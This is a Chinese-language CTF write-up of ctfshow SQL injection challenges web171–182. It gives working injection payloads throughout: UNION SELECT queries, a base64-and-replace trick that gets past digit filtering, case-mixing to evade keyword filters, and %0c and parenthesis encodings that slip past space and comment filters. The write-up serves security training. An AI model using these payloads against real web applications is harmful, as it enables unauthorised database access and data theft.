这个系列题有点多,就10个一篇文章
目录
web171:
web172:
web173:
web174:
web175:
web176:
web177:
web178:
web179:
web180:
web181:
web182:
仔细观察这个查询语句,发现有一个username != 'flag' ,他不让我干什么,我就干什么,我给他一个拼接是id传入
$sql = "select username,password from user where username !='flag' and id = '".$_GET['拼接的位置']."' limit 1;";
首先要把前面的单引号语句给忽悠过去,就有 1' 进行忽悠,然后就是我们要进行查询的语句了,他不让我们查flag,哪我就查flag,但是后面已经有单引号了,那我们就忽略一个单引号
1' or username = 'flag
主要是构造sql注入语句
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
原先我是想着把后面的注释用我写的语句查就完了,但是好像注释掉就会出错,所以注释就行不同
原先的注入:
1' union all select username,password from ctfshow_user2 where username='flag'";#
但是后来把后面的删掉后他就上面都没显示,一看上面还有过滤加一个就不会了,看了大佬的wp,加了一个函数upper
加上后发现还是flag,看自己构造的语句,发现id=1时是有数据的,他就卡在前面不忘后面来,就选一个没有id的,就这样
0' union select UPPER(username),password from ctfshow_user2 where username = 'flag
代码:
json_encode()是进行json编码
要用到注释,mysql注释有几种
#,-- (要空格),/**/
先尝试写一个payload,让他只执行我的语句,就要把后面的注释掉:
0' union select id,username,password from ctfshow_user3 --
发现没有flag,看了条件,把flag过滤了,猜测flag是用户那一列,select查询会更改列名为你查询的列名像这样
所以就有:
0' union select id,2,password from ctfshow_user3 --
flag就出来了
大佬的链接:CTFshow之web171~180---SQL注入(1)_ctfshow web174_金 帛的博客-CSDN博客
代码:
发现把0-9过滤了,那么flag就不能直接查询出来了。要用到字符串转换。看了大佬的wp是直接用re进行替换。把flag中的数字进行字母转换,然后就把转换后的字符串转换出来了
后面就是把这个转换出来的字符串进行解码
这是大佬的payload:
-1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),"1","@A"),"2","@B"),"3","@C"),"4","@D"),"5","@E"),"6","@F"),"7","@G"),"8","@H"),"9","@I"),"0","@J") from ctfshow_user4 where username = 'flag' --+
大佬的脚本:
import base64
flag64 = " "
flag = flag64.replace("@A", "1").replace("@B", "2").replace("@C", "3").replace("@D", "4").replace("@E", "5").replace("@F", "6").replace("@G", "7").replace("@H", "8").replace("@I", "9").replace("@J", "0")
print(base64.b64decode(flag))
就出来flag了
要用到时间盲注,还不怎么会就不发出来了
代码:
题目提示有过滤了,先试试过滤的是什么,
mysql是不区分大小写的,我先试试全小写发现,select被过滤了,把select大写就能过去了
这是我自己写的payload:
0 ' union Select 1,2,password from ctfshow_user -- +
大佬的payload:
0' union Select 1,2,group_concat(password) from ctfshow_user where username = 'flag' --+
函数注释:
大致就是返回同组的值
上一题的不能用了,先试试怎么把过滤的字符调出来
我都把所有字符进行大写了,发现还是不行
尝试把分隔符进行更换 %20也不行 又尝试进行注释分隔/**/,发现行不通,看来大佬的wp发现,思路什么都是对的,就是没想到注释,用%23就能过
上一题是把空格过滤了,保险起见这题我们也把/**/换了,我还专门去找了url的编码表来一个一个试
url编码表链接:https://www.cnblogs.com/cainiao-chuanqi/p/13522239.html
然后把空的上上去就能试出来了,这题就是把/**/屏蔽了
和上一题一样的做法换一个编码表就完了
坐半天没想出来哪里被屏蔽了看了一眼大佬的wp,发现%23被过滤了。这就没办法了#被过滤了,空格还被过滤了。这就只能搞闭合了
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
要前后闭合的话,就要他只回显一个数据,要不然就会被后面的关键词给挡住
在上一题的基础上
'%0cUnion%0cSelect%0c1,2,password%0cFrom%0cctfshow_user
进行闭环,构造唯一一个
%0cWhere%0cusername='flag'%0cor%0c'1'='#后面的主要都是和查询语句进行闭合,唯一性的是falg的字段
最后是这样
'%0cUnion%0cSelect%0c1,2,password%0cFrom%0cctfshow_user%0cWhere%0cusername='flag'%0cor%0c'1'='
获得flag
把上面过滤的放在url编码表里面看,发现好多东西都被屏蔽了。尝试进行续写
payload:
'%0cor%0cusername='flag
因为基础的字符都进行过滤,所以还要放到代码里面去把空格什么的进行替换
附带python替换代码:
payload = "’ or username='falg"#原先的语句
print(payload.replace(" ","%0c"))#替换的字符
放进去flag就能出来,因为只能有一个,要加上限定条件
代码:
把所有空格的替换全屏蔽了,只能用大佬说的括号
这是Y4tacker师傅的payload:
'or(id=26)and'1'='1
使用括号可以不用空格